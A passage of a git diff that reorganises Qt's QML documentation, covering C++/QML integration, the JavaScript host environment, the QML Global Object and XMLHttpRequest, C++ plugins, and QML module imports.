QMetaObject::invokeMethod() and QObject::connect(). See \l - {Exchanging data between QML and C++} below for further details. - - \section3 Locating child objects - - QML components are essentially object trees with children that have siblings - and their own children. Child objects of QML components can be located using - the QObject::objectName property with QObject::findChild(). For example, if - the root item in \c MyItem.qml had a child \l Rectangle item: - - \snippet qml/qtbinding/loading/MyItem.qml start - \codeline - \snippet qml/qtbinding/loading/MyItem.qml child - \snippet qml/qtbinding/loading/MyItem.qml end - - The child could be located like this: - - \snippet qml/qtbinding/loading/main.cpp findChild - - If \c objectName is used inside a delegate of a ListView, \l Repeater or - some other element that creates multiple instances of its delegates, there - will be multiple children with the same \c objectName. In this case, - QObject::findChildren() can be used to find all children with a matching \c - objectName. - - \warning While it is possible to use C++ to access and manipulate QML - objects deep into the object tree, we recommend that you do not take this - approach outside of application testing and prototyping. One strength of QML - and C++ integration is the ability to implement the QML user interface - separately from the C++ logic and dataset backend, and this strategy breaks - if the C++ side reaches deep into the QML components to manipulate them - directly. This would make it difficult to, for example, swap a QML view - component for another view, if the new component was missing a required \c - objectName. It is better for the C++ implementation to know as little as - possible about the QML user interface implementation and the composition of - the QML object tree. - - - \section2 Embedding C++ Objects into QML Components - - When loading a QML scene into a C++ application, it can be useful to - directly embed C++ data into the QML object. QQmlContext enables - this by exposing data to the context of a QML component, allowing data to be - injected from C++ into QML. - - For example, here is a QML item that refers to a \c currentDateTime value - that does not exist in the current scope: - - \snippet qml/qtbinding/context/MyItem.qml 0 - - This \c currentDateTime value can be set directly by the C++ application - that loads the QML component, using - QQmlContext::setContextProperty(): - - \snippet qml/qtbinding/context/main.cpp 0 - - Context properties can hold either QVariant or QObject* values. This means - custom C++ objects can also be injected using this approach, and these - objects can be modified and read directly in QML. Here, we modify the above - example to embed a QObject instance instead of a QDateTime value, and the - QML code invokes a method on the object instance: - - \table - \row - \li - \snippet qml/qtbinding/context-advanced/applicationdata.h 0 - \codeline - \snippet qml/qtbinding/context-advanced/main.cpp 0 - \li - \snippet qml/qtbinding/context-advanced/MyItem.qml 0 - \endtable - - (Note that date/time values returned from C++ to QML can be formatted through - \l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) - - If the QML item needs to receive signals from the context property, it can - connect to them using the \l Connections element. For example, if \c - ApplicationData has a signal named \c dataChanged(), this signal can be - connected to using an \c onDataChanged handler within a \l Connections - object: - - \snippet qml/qtbinding/context-advanced/connections.qml 0 - - Context properties can be useful for using C++ based data models in a QML view. See the - \l {declarative/modelviews/stringlistmodel}{String ListModel}, - \l {declarative/modelviews/objectlistmodel}{Object ListModel} and - \l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for - respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel - in QML views. - - Also see the QQmlContext documentation for more information. - - -\section1 Invoking QML Entities through the Engine - - QML and C++ objects can communicate with one another through signals, slots - and property modifications. For a C++ object, any data that is exposed to - Qt's \l{The Meta-Object System}{Meta-Object System} that is, properties, - signals, slots and Q_INVOKABLE methods - become available to QML. On the QML - side, all QML object data is automatically made available to the meta-object - system and can be accessed from C++. - - The \l{C++ Types as QML Types} article covers the topic of exposing Qt functions - and properties to the declarative engine. - - \section2 Calling Functions - - QML functions can be called from C++ and vice-versa. - - All QML functions are exposed to the meta-object system and can be called - using QMetaObject::invokeMethod(). Here is a C++ application that uses this - to call a QML function: - - \table - \row - \li \snippet qml/qtbinding/functions-qml/MyItem.qml 0 - \li \snippet qml/qtbinding/functions-qml/main.cpp 0 - \endtable - - Notice the Q_RETURN_ARG() and Q_ARG() arguments for - QMetaObject::invokeMethod() must be specified as QVariant types, as this is - the generic data type used for QML functions and return values. - - To call a C++ function from QML, the function must be either a Qt slot, or a - function marked with the Q_INVOKABLE macro, to be available to QML. In the - following example, the QML code invokes methods on the \c myObject object, - which has been set using QQmlContext::setContextProperty(): - - \table - \row - \li - \snippet qml/qtbinding/functions-cpp/MyItem.qml 0 - \li - \snippet qml/qtbinding/functions-cpp/myclass.h 0 - \codeline - \snippet qml/qtbinding/functions-cpp/main.cpp 0 - \endtable - - QML supports the calling of overloaded C++ functions. If there are multiple - C++ functions with the same name but different arguments, the correct - function will be called according to the number and the types of arguments - that are provided. - - - \section2 Receiving Signals - - All QML signals are automatically available to C++, and can be connected to - using QObject::connect() like any ordinary Qt C++ signal. In return, any C++ - signal can be received by a QML object using \l {Signal Handlers}{signal - handlers}. - - Here is a QML component with a signal named \c qmlSignal. This signal is - connected to a C++ object's slot using QObject::connect(), so that the \c - cppSlot() method is called whenever the \c qmlSignal is emitted: - - \table - \row - \li - \snippet qml/qtbinding/signals-qml/MyItem.qml 0 - \li - \snippet qml/qtbinding/signals-qml/myclass.h 0 - \codeline - \snippet qml/qtbinding/signals-qml/main.cpp 0 - \endtable - - To connect to Qt C++ signals from within QML, use a signal handler with the - \c on<SignalName> syntax. If the C++ object is directly creatable from - within QML (see \l {Defining new QML elements} above) then the signal - handler can be defined within the object declaration. In the following - example, the QML code creates a \c ImageViewer object, and the \c - imageChanged and \c loadingError signals of the C++ object are connected to - through \c onImagedChanged and \c onLoadingError signal handlers in QML: - - \table - \row - \li - - \snippet qml/qtbinding/signals-cpp/imageviewer.h start - \dots 4 - \snippet qml/qtbinding/signals-cpp/imageviewer.h end - - \li - \snippet qml/qtbinding/signals-cpp/standalone.qml 0 - \endtable - - (Note that if a signal has been declared as the NOTIFY signal for a - property, QML allows it to be received with an \c on<Property>Changed - handler even if the signal's name does not follow the \c <Property>Changed - naming convention. In the above example, if the "imageChanged" signal was - named "imageModified" instead, the \c onImageChanged signal handler would - still be called.) - - If, however, the object with the signal is not created from within the QML - code, and the QML item only has a reference to the created object - for - example, if the object was set using - QQmlContext::setContextProperty() - then the \l Connections element - can be used instead to create the signal handler: - - \table - \row - \li \snippet qml/qtbinding/signals-cpp/main.cpp connections - \li \snippet qml/qtbinding/signals-cpp/MyItem.qml 0 - \endtable - - C++ signals can use enum values as parameters provided that the enum is - declared in the class that is emitting the signal, and that the enum is - registered using Q_ENUMS. See \l {Using enumerations of a custom type} below - for details. - - - \section2 Modifying Properties - - Any properties declared in a QML object are automatically accessible from - C++. Given a QML item like this: - - \snippet qml/qtbinding/properties-qml/MyItem.qml 0 - - The value of the \c someNumber property can be set and read using - QQmlProperty, or QObject::setProperty() and QObject::property(): - - \snippet qml/qtbinding/properties-qml/main.cpp 0 - - You should always use QObject::setProperty(), QQmlProperty or - QMetaProperty::write() to change a QML property value, to ensure the QML - engine is made aware of the property change. For example, say you have a - custom element \c PushButton with a \c buttonText property that internally - reflects the value of a \c m_buttonText member variable. Modifying the - member variable directly like this is not a good idea: - - \badcode - // BAD! - QQmlComponent component(engine, "MyButton.qml"); - PushButton *button = qobject_cast<PushButton*>(component.create()); - button->m_buttonText = "Click me"; - \endcode - Since the value is changed directly, this bypasses Qt's \l{The Meta-Object - System}{meta-object system} and the QML engine is not made aware of the - property change. This means property bindings to \c buttonText would not be - updated, and any \c onButtonTextChanged handlers would not be called. - - \target properties-cpp - - Any \l {The Property System}{Qt properties} - that is, those declared with - the Q_PROPERTY() macro - are accessible from QML. Here is a modified version - of the \l {Embedding C++ objects into QML components}{earlier example} on - this page; here, the \c ApplicationData class has a \c backgroundColor - property. This property can be written to and read from QML: - - \table - \row - \li \snippet qml/qtbinding/properties-cpp/applicationdata.h 0 - \li \snippet qml/qtbinding/properties-cpp/MyItem.qml 0 - \endtable - - Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal - for the \c backgroundColor property. If a Qt property does not have an - associated NOTIFY signal, the property cannot be used for \l{Property - Binding in QML}, as the QML engine would not be notified when the value - changes. If you are using custom types in QML, make sure their properties - have NOTIFY signals so that they can be used in property bindings. - - The \l{C++ Types as QML Types} article covers the topic of exposing Qt - properties to the runtime. For more information, the - \l{Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} - tutorial demonstrates basic usage patterns. - -\section1 Loading QML Plugins - - Additional Qt code is runnable in the engine as a QML plugin. The \l{QML - Plugins} article covers the creation and usage patterns of QML plugins. The - QQmlExtensionPlugin class is an abstract class for writing QML - plugins. The \l {How to Create Qt Plugins} contains more information about - Qt's plugin system. - -\target qml-engine-optimization -\section1 Optimization - - Often, to develop high performance elements it is helpful to know more about - the status of the QML engine. For example, it might be beneficial to delay - initializing some costly data structures until after all the properties have - been set. - - The QML engine defines an interface class called QQmlParserStatus, - which contains a number of virtual methods that are invoked at various - stages during component instantiation. To receive these notifications, an - element implementation inherits QQmlParserStatus and notifies the Qt - meta system using the Q_INTERFACES() macro. - - \code - class Example : public QObject, public QQmlParserStatus - { - Q_OBJECT - Q_INTERFACES(QQmlParserStatus) - public: - virtual void componentComplete() - { - qDebug() << "Woohoo! Now to do my costly initialization"; - } - }; - \endcode - -\section1 Memory Management and QVariant types - - It is a component's responsibility to ensure that it does not access or - return pointers to invalid objects. QML makes the following guarentees: - - \list - \li An object assigned to a QObject (or QObject-derived) pointer property - will be valid at the time of assignment. - - Following assignment, it is the responsibility of the class to subsequently - guard this pointer, either through a class specific method or the generic - QPointer class. - - \li An object assigned to a QVariant will be valid at the time of assignment. - - When assigning an object to a QVariant property, QML will always use a - QMetaType::QObjectStar typed QVariant. It is the responsibility of the class - to guard the pointer. A general rule when writing a class that uses QVariant - properties is to check the type of the QVariant when it is set and if the - type is not handled by your class, reset it to an invalid variant. - - \li An object assigned to a QObject (or QObject-derived) list property will - be valid at the time of assignment. - - Following assignment, it is the responsibility of the class to subsequently - guard this pointer, either through a class specific method or the generic - QPointer class. - \endlist - - Components should assume that any QML assigned object can be deleted at any - time, and respond accordingly. If documented as such an element need not - continue to work in this situation, but it must not crash. - -\section1 JavaScript Runtime - - The runtime implements the \l{ECMA-262}{ECMAScript Language Specification} standard, - 5th edition. The reserved words, conditionals, variables, and object behaviors - follow after the standard. - - The \l{QML JavaScript Host Environment} article has information about the - JavaScript host environment provided by QML, which is different than the - browser host environment many are familiar with. - - The \l{JavaScript Code} article has information about placing JavaScript - code within QML code. - -*/ diff --git a/src/qml/doc/src/types/qmldate.qdoc b/src/qml/doc/src/javascript/date.qdoc index f1cff3dfff..f1cff3dfff 100644 --- a/src/qml/doc/src/types/qmldate.qdoc +++ b/src/qml/doc/src/javascript/date.qdoc diff --git a/src/qml/doc/src/qml/dynamicobjects.qdoc b/src/qml/doc/src/javascript/dynamicobjects.qdoc index f5a47b8915..bcef32b880 100644 --- a/src/qml/doc/src/qml/dynamicobjects.qdoc +++ b/src/qml/doc/src/javascript/dynamicobjects.qdoc @@ -26,16 +26,15 @@ ****************************************************************************/ /*! -\page qml-dynamicobjects.html -\ingroup qml-features -\title Dynamic Object Management in QML -\brief instantiating and managing QML objects +\page qtqml-javascript-dynamicobjects.html +\title Dynamic QML object creation from JavaScript +\brief instantiating and managing QML objects from JavaScript QML provides a number of ways to dynamically create and manage QML objects. The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements all support dynamic object management. Objects can also be created and managed from C++, and this is the preferred method for hybrid QML/C++ applications -(see \l{Using QML Bindings in C++ Applications}). +(see \l{Exposing C++ Data to QML}). QML also supports the dynamic creation of objects from within JavaScript code. This is useful if the existing QML elements do not fit the needs of your @@ -115,7 +114,7 @@ be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent( To connect signals to (or receive signals from) dynamically created objects, use the signal \c connect() method. See -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} +\l{Signal and Handler Event System#Connecting Signals to Methods and Signals} {Connecting Signals to Methods and Signals} for more information. It is also possible to instantiate components without blocking via the @@ -214,4 +213,5 @@ can similarly be destroyed using \c destroy(): \snippet qml/createQmlObject.qml 0 \snippet qml/createQmlObject.qml destroy + */ diff --git a/src/qml/doc/src/qml/javascriptblocks.qdoc b/src/qml/doc/src/javascript/expressions.qdoc index f5bcca3a5a..73b27bd135 100644 --- a/src/qml/doc/src/qml/javascriptblocks.qdoc +++ b/src/qml/doc/src/javascript/expressions.qdoc @@ -24,12 +24,11 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\page qml-javascript.html -\ingroup qml-features -\title JavaScript Expressions in QML -\brief adding logic to QML applications with JavaScript +\page qtqml-javascript-expressions.html +\title JavaScript Expressions In QML Documents +\brief Description of where JavaScript expressions are valid in QML documents + \code @@ -39,10 +38,10 @@ This article is a work-in-progress. JavaScript adds logic to QML components. Properties can bind to JavaScript expressions or reside inline in functions or signal handlers. The -\l{The QML Engine}{QML engine} will then interpret the expression to calculate new +\l{QQmlEngine}{QML engine} will then interpret the expression to calculate new property values or to execute a routine. -The \l{JavaScript Runtime}{JavaScript runtime} can run valid standard +The \l{JavaScript Host Environment} can run valid standard JavaScript constructs such as conditional operators, arrays, variable setting, loops. In addition to the standard JavaScript properties, the \l {QML Global Object} includes a number of helper methods that simplify building UIs and @@ -144,7 +143,7 @@ JavaScript file. Large blocks of JavaScript should be written in separate files. These files can be imported into QML files using an \c import statement, in the same way -that \l {Modules}{modules} are imported. +that \l {QML Modules}{modules} are imported. For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} could be moved into an external file named \c factorial.js, and accessed like this: @@ -560,3 +559,5 @@ the references will be affected. \snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 5 */ + +*/ diff --git a/src/qml/doc/src/qml/jsfunctionlist.qdoc b/src/qml/doc/src/javascript/functionlist.qdoc index 35abc0a92c..e81cd6430a 100644 --- a/src/qml/doc/src/qml/jsfunctionlist.qdoc +++ b/src/qml/doc/src/javascript/functionlist.qdoc @@ -24,14 +24,13 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! - \page jsfunctionlist.html + \page qtqml-javascript-functionlist.html \title List of JavaScript Objects and Functions \brief A list of objects, functions, and properties supported in QML. This reference contains a list of objects, functions and - properties supported by the \l{The QML Engine}{QML engine}. For a detailed + properties supported by the \l{QQmlEngine}{QML engine}. For a detailed description, see the \l{External: ECMA-262} specification. \section1 The Global Object diff --git a/src/qml/doc/src/qml/hostenvironment.qdoc b/src/qml/doc/src/javascript/hostenvironment.qdoc index b0d9118944..77a57ad548 100644 --- a/src/qml/doc/src/qml/hostenvironment.qdoc +++ b/src/qml/doc/src/javascript/hostenvironment.qdoc @@ -24,10 +24,11 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\page qmlhostenvironment.html -\title QML JavaScript Host Environment +\page qtqml-javascript-hostenvironment.html +\title JavaScript Host Environment +\brief Description of the JavaScript host environment provided by the QML engine + QML provides a JavaScript host environment tailored to writing QML applications. This environment is different from the host environment provided by a browser @@ -53,20 +54,9 @@ Objects Reference} sections are browser specific (and thus not applicable to QML \section1 Host Objects and Functions -The QML JavaScript host environment implements the following host objects and functions: - -\list -\li The \l{QmlGlobalQtObject}{Qt object}: This object is specific to QML, and provides helper methods - and properties specific to the QML environment. -\li qsTr(), qsTranslate(), qsTrId(), QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions: - These functions are specific to QML, and provide \l{Translation}{translation capabilities} to the QML environment. -\li gc() function: This function is specific to QML, and provides a way to manually trigger garbage collection. -\li print() function: This function is specific to QML, and provides a simple way to output information to the console. -\li The \l{Console API}{console object}: This object implements a subset of the \l{http://getfirebug.com/wiki/index.php/Console_API}{FireBug Console API}. -\li \l{XMLHttpRequest}, DOMException: These objects implement a subset of the \l{http://www.w3.org/TR/XMLHttpRequest/}{W3C XMLHttpRequest specification}. -\endlist +The QML JavaScript host environment implements a number of host objects and functions, as +detailed in the \l{QML Global Object} documentation. -See \l{QML Global Object} for more details on these host objects and functions. \section1 Native Object Modification @@ -74,7 +64,7 @@ QML makes the following modifications to native objects: \list \li An arg() function is added to the String prototype. -\li Locale-aware coversion functions are added to the \l{Date} and \l{Number} prototypes. +\li Locale-aware coversion functions are added to the \l Date and \l Number prototypes. \endlist \section1 Restrictions @@ -89,4 +79,5 @@ QML implements the following restrictions for JavaScript code: See \l {QML JavaScript Restrictions} for more details on these restrictions. + */ diff --git a/src/quick/doc/src/itemgraphics.qdoc b/src/qml/doc/src/javascript/imports.qdoc index 3924b34eaa..138120345c 100644 --- a/src/quick/doc/src/itemgraphics.qdoc +++ b/src/qml/doc/src/javascript/imports.qdoc @@ -24,12 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-item-graphics -\title Qt Quick Item Graphics -\brief Graphics applied onto visual types - -\section1 Related Types -\generatelist{related} +\page qtqml-javascript-imports.html +\title Importing JavaScript Files In QML Documents +\brief Description of how to import and use JavaScript files in QML documents */ diff --git a/src/qml/doc/src/types/qmlnumber.qdoc b/src/qml/doc/src/javascript/number.qdoc index 47dc0338c0..47dc0338c0 100644 --- a/src/qml/doc/src/types/qmlnumber.qdoc +++ b/src/qml/doc/src/javascript/number.qdoc diff --git a/src/qml/doc/src/javascript/qmlglobalobject.qdoc b/src/qml/doc/src/javascript/qmlglobalobject.qdoc new file mode 100644 index 0000000000..c45b430025 --- /dev/null +++ b/src/qml/doc/src/javascript/qmlglobalobject.qdoc @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-javascript-qmlglobalobject.html +\title QML Global Object +\brief Description of the Qml Global Object + + +The QML JavaScript host environment implements the following host objects and functions: + +\list +\li The \l{QmlGlobalQtObject}{Qt object}: This object is specific to QML, and provides helper methods + and properties specific to the QML environment. +\li qsTr(), qsTranslate(), qsTrId(), QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions: + These functions are specific to QML, and provide \l{Translation}{translation capabilities} to the QML environment. +\li gc() function: This function is specific to QML, and provides a way to manually trigger garbage collection. +\li print() function: This function is specific to QML, and provides a simple way to output information to the console. +\li The \l{Console API}{console object}: This object implements a subset of the \l{http://getfirebug.com/wiki/index.php/Console_API}{FireBug Console API}. +\li \l{XMLHttpRequest}, DOMException: These objects implement a subset of the \l{http://www.w3.org/TR/XMLHttpRequest/}{W3C XMLHttpRequest specification}. +\endlist + + + +\section1 XMLHttpRequest +\target XMLHttpRequest + +The XMLHttpRequest object, which can be used to asynchronously obtain +data from over a network. + +The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} +as many popular web browsers with following exceptions: +\list +\li QML's XMLHttpRequest does not enforce the same origin policy. +\li QML's XMLHttpRequest does not support \e synchronous requests. +\endlist + +Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset +of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web +browser. The following objects and properties are supported by the QML implementation: + +\table +\header +\li \b {Node} +\li \b {Document} +\li \b {Element} +\li \b {Attr} +\li \b {CharacterData} +\li \b {Text} + +\row +\li +\list +\li nodeName +\li nodeValue +\li nodeType +\li parentNode +\li childNodes +\li firstChild +\li lastChild +\li previousSibling +\li nextSibling +\li attributes +\endlist + +\li +\list +\li xmlVersion +\li xmlEncoding +\li xmlStandalone +\li documentElement +\endlist + +\li +\list +\li tagName +\endlist + +\li +\list +\li name +\li value +\li ownerElement +\endlist + +\li +\list +\li data +\li length +\endlist + +\li +\list +\li isElementContentWhitespace +\li wholeText +\endlist + +\endtable + +The \l{qml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to +use the XMLHttpRequest object to make a request and read the response headers. + +*/ diff --git a/src/qml/doc/src/engine/qtjavascript.qdoc b/src/qml/doc/src/javascript/qtjavascript.qdoc index 2521e8d91f..2521e8d91f 100644 --- a/src/qml/doc/src/engine/qtjavascript.qdoc +++ b/src/qml/doc/src/javascript/qtjavascript.qdoc diff --git a/src/qml/doc/src/javascript/topic.qdoc b/src/qml/doc/src/javascript/topic.qdoc new file mode 100644 index 0000000000..015a769af4 --- /dev/null +++ b/src/qml/doc/src/javascript/topic.qdoc @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-javascript-topic.html +\title Integrating QML And JavaScript +\brief Description of how to use JavaScript in QML applications + +The QML language uses a JSON-like syntax and allows various expressions and +methods to be defined as JavaScript functions. It also allows users to import +JavaScript files and use the functionality those imports provide. + +This allows developers and designers to leverage the knowledge they have of +JavaScript to quickly develop both user-interfaces and application logic. + +\section1 JavaScript Expressions + +QML has a deep JavaScript integration, and allows +\l{qtqml-syntax-objectattributes.html#signal-handlers}{signal handlers} +and \l{qtqml-syntax-objectattributes.html#custom-methods}{methods} +to be defined in JavaScript. One of the other fundamental concepts of QML is +the ability to bind property values to the result of complex expressions which +can include properties from other objects. These +\l{Property Binding}{property bindings} +are JavaScript expressions. + +See the documentation page titled +\l{qtqml-javascript-expressions.html}{JavaScript Expressions In QML Documents} +for more information about using JavaScript expressions in QML. + +\section1 JavaScript Imports + +A QML document may import JavaScript files. This allows an application +developer to provide application logic in modular, self-contained files. +See the documentation page titled +\l{qtqml-javascript-imports.html}{Importing JavaScript Files In QML Documents} +for more information on how to import JavaScript files and how to use the +functionality they provide. + +\section1 JavaScript Host Environment + +The QML engine provides a JavaScript environment that has some differences to +the JavaScript environment provided by a web browser. Certain limitations +apply to code running in the environment, and the QML engine provides various +objects in the root context which may be unfamiliar to JavaScript developers. + +These limitations and extensions are documented in the description of the +\l{qtqml-javascript-hostenvironment.html}{JavaScript Host Environment} provided +by the QML engine. + +*/ diff --git a/src/qml/doc/src/bindings/qmlplugins.qdoc b/src/qml/doc/src/modules/cppplugins.qdoc index ec0d608b32..d8729d6c97 100644 --- a/src/qml/doc/src/bindings/qmlplugins.qdoc +++ b/src/qml/doc/src/modules/cppplugins.qdoc @@ -24,17 +24,18 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ + /*! -\page qml-plugins.html -\title QML Plugins -\target qml-plugins -\brief importing Qt C++ functions as plugins +\page qtqml-modules-cppplugins.html +\title Creating C++ Plugins For QML +\brief Description of how to write C++ plugins for QML +\section1 Creating A Plugin - The \l{The QML Engine}{QML engine} can run Qt C++ applications - by \l{register-c++-type}{registering} types into the runtime and by loading - C++ code as plugins. Plugins are imported and labeled as modules and - its content are available as components. + The \l{QQmlEngine}{QML engine} load C++ plugins for QML. + Such plugins are usually provided in a QML extension module, and can + provide types and functionality for use by clients in QML documents + which import the module. QQmlExtensionPlugin is a plugin interface that makes it possible to create QML extensions that can be loaded dynamically into QML applications. @@ -49,7 +50,7 @@ \li Register types with qmlRegisterType() \li Export the class using the Q_EXPORT_PLUGIN2() macro \li Write a project file for the plugin - \li Create a \l{Writing a qmldir file}{qmldir file} to describe the plugin + \li Create a \l{Syntax of a qmldir file}{qmldir file} to describe the plugin \endlist QML extension plugins are for either application-specific or library-like @@ -71,7 +72,7 @@ \l{QQmlExtensionPlugin::}{registerTypes()} method. In the registerTypes() method, the plugin class can - \l{register-c++-type}{register} the \c TimeModel class to the declarative + register the \c TimeModel class to the declarative runtime with the qmlRegisterType() function. The Q_EXPORT_PLUGIN2() macro has two parameters, the generated plugin name and the class name. @@ -82,7 +83,7 @@ The \c TimeModel class receives a \c{1.0} version of this plugin library, as a QML type called \c Time. The Q_ASSERT() macro can ensure the module is imported correctly by any QML components that use this plugin. The - \l{C++ Types as QML Types} article has more information about registering C++ + \l{Defining QML Object Types from C++} article has more information about registering C++ types into the runtime. For this example, the TimeExample source directory is in @@ -103,7 +104,7 @@ ... \endcode - Finally, a \l{Writing a qmldir file}{qmldir file} is required in the \c + Finally, a \l{Syntax of a qmldir file}{qmldir file} is required in the \c com/nokia/TimeExample directory to specify the plugin. This directory includes a \c Clock.qml file that should be bundled with the plugin, so it needs to be specified in the \c qmldir file: @@ -116,15 +117,15 @@ \snippet examples/qml/cppextensions/plugins/plugins.qml 0 - The full source code is available in the \l {declarative/cppextensions/plugins}{plugins example}. + The full source code is available in the \l {qml/cppextensions/plugins}{plugins example}. \section1 Reference \list - \li \l {Tutorial: Writing QML extensions with C++} - contains a chapter + \li \l {Tutorial: Extending QML with C++} - contains a chapter on creating QML plugins. - \li \l{C++ Types as QML Types} - information about registering C++ types into + \li \l{Defining QML Object Types from C++} - information about registering C++ types into the runtime. \li \l{How to Create Qt Plugins} - information about Qt plugins \endlist diff --git a/src/qml/doc/src/modules/todo.qdoc b/src/qml/doc/src/modules/todo.qdoc new file mode 100644 index 0000000000..f7eb48d39f --- /dev/null +++ b/src/qml/doc/src/modules/todo.qdoc @@ -0,0 +1,266 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qmllanguage-modules.html +\title QML Modules +\brief creating and importing QML modules + +\section1 Modules + +A module is a set of QML content files that can be imported as a unit into a QML +application. Modules can be used to organize QML content into independent units, +and they can use a versioning mechanism that allows for independent +upgradability of the modules. + +While QML component files within the same directory are automatically accessible +within the global namespace, components defined elsewhere must be imported +explicitly using the \c import statement to import them as modules. For +example, an \c import statement is required to use: + +\list +\li A component defined in another QML file that is not in the same directory +\li A component defined in a QML file located on a remote server +\li A \l{QQmlExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) +\li A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) +\endlist + +An \c import statement includes the module name, and possibly a version number. +This can be seen in the snippet commonly found at the top of QML files: + +\snippet qml/imports/qtquick-1.0.qml import + +This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML +library itself must be imported to use any of the \l {QML Elements}, as they +are not included in the global namespace by default.) + +The \c Qt module is an \e installed module; it is found in the +\l{#import-path}{import path}. There are two types of QML modules: +located modules (defined by a URL) and installed modules (defined by a URI). + + +\section1 Located Modules + +Located modules can reside on the local filesystem or a network resource, +and are referred to by a quoted location URL that specifies the filesystem +or network URL. They allow any directory with QML content to be imported +as a module, whether the directory is on the local filesystem or a remote +server. + +For example, a QML project may have a separate directory for a set of +custom UI components. These components can be accessed by importing the +directory using a relative or absolute path, like this: + +\table +\row +\li Directory structure +\li Contents of application.qml + +\row +\li +\code +MyQMLProject + |- MyComponents + |- CheckBox.qml + |- Slider.qml + |- Window.qml + |- Main + |- application.qml +\endcode + +\li +\qml +import "../MyComponents" + +Window { + Slider { + // ... + } + CheckBox { + // ... + } +} +\endqml + +\endtable + +Similarly, if the directory resided on a network source, it could +be imported like this: + +\snippet qml/imports/network-imports.qml imports + +A located module can also be imported as a network resource if it has a +\l{Syntax of a qmldir file}{qmldir file} in the directory that specifies the QML files +to be made available by the module. For example, if the \c MyComponents directory +contained a \c qmldir file defined like this: + +\code +Slider 1.0 Slider.qml +CheckBox 1.0 CheckBox.qml +Window 1.0 Window.qml +\endcode + +If the \c MyComponents directory was then hosted as a network resource, it could +be imported as a module, like this: + +\qml +import "http://the-server-name.com/MyQMLProject/MyComponents" + +Window { + Slider { + // ... + } + CheckBox { + // ... + } +} +\endqml + +with an optional "1.0" version specification. Notice the import would fail if +a later version was used, as the \c qmldir file specifies that these elements +are only available in the 1.0 version. + +Note that modules imported as a network resource allow only access to components +defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} +are not available. + + +\target import-path +\section1 Installed Modules + +Installed modules are modules that are made available through the QML import path, +as defined by QQmlEngine::importPathList(), or modules defined within +C++ application code. An installed module is referred to by a URI, which allows +the module to be imported from QML code without specifying a complete filesystem +path or network resource URL. + +When importing an installed module, an un-quoted URI is +used, with a mandatory version number: + +\snippet qml/imports/installed-module.qml imports + +When a module is imported, the QML engine searches the QML import path for a matching +module. The root directory of the module must contain a +\l{Syntax of a qmldir file}{qmldir file} that defines the QML files +and/or C++ QML extension plugins that are made available to the module. + +Modules that are installed into the import path translate the URI into +directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule +must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the +QML import path. In addition it is possible to store different versions of the +module in subdirectories of its own. For example, a version 2.1 of the +module could be located under \c com/nokia/qml/mymodule.2/qmldir or +\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load +the module which matches best. + +The import path, as returned by QQmlEngine::importPathList(), defines the default +locations to be searched by the QML engine for a matching module. By default, this list +contains: + +\list +\li The directory of the current file +\li The location specified by QLibraryInfo::ImportsPath +\li Paths specified by the \c QML_IMPORT_PATH environment variable +\endlist + +Additional import paths can be added through QQmlEngine::addImportPath() or the +\c 